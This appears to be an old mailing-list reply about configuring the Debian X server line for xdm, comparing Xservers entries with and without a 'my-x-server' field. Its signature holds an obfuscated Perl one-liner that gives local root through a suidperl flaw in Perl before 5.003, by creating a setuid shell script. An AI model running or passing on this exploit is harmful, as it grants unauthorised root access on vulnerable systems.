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Re: The X story so far...

>   :0 my-x-server local /usr/X11R6/bin/X :0
> `my-x-server' in the above line can be anything you want; i suppose in
> a single-user environment it doesn't matter.
> according to the comments in that file, installing xbase should set up
> this file correctly, but it didn't for me; perhaps i didn't specify at
> the time that i wanted xdm to run instead of using the xinit (aka
> startx) method.

You know, when I installed debian a month ago, that _did_ get set up
properly by xbase, I think, but when I installed it again 3 days ago, I
had the same trouble you did.

But what's the "my-x-server" field for? I don't have that file in my file,

:0 local /usr/X11R6/bin/X

and it works fine.

#!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod            jeh22@cornell.edu
$_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
# Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..
               "true - do nothing, successfully" - - true (1)

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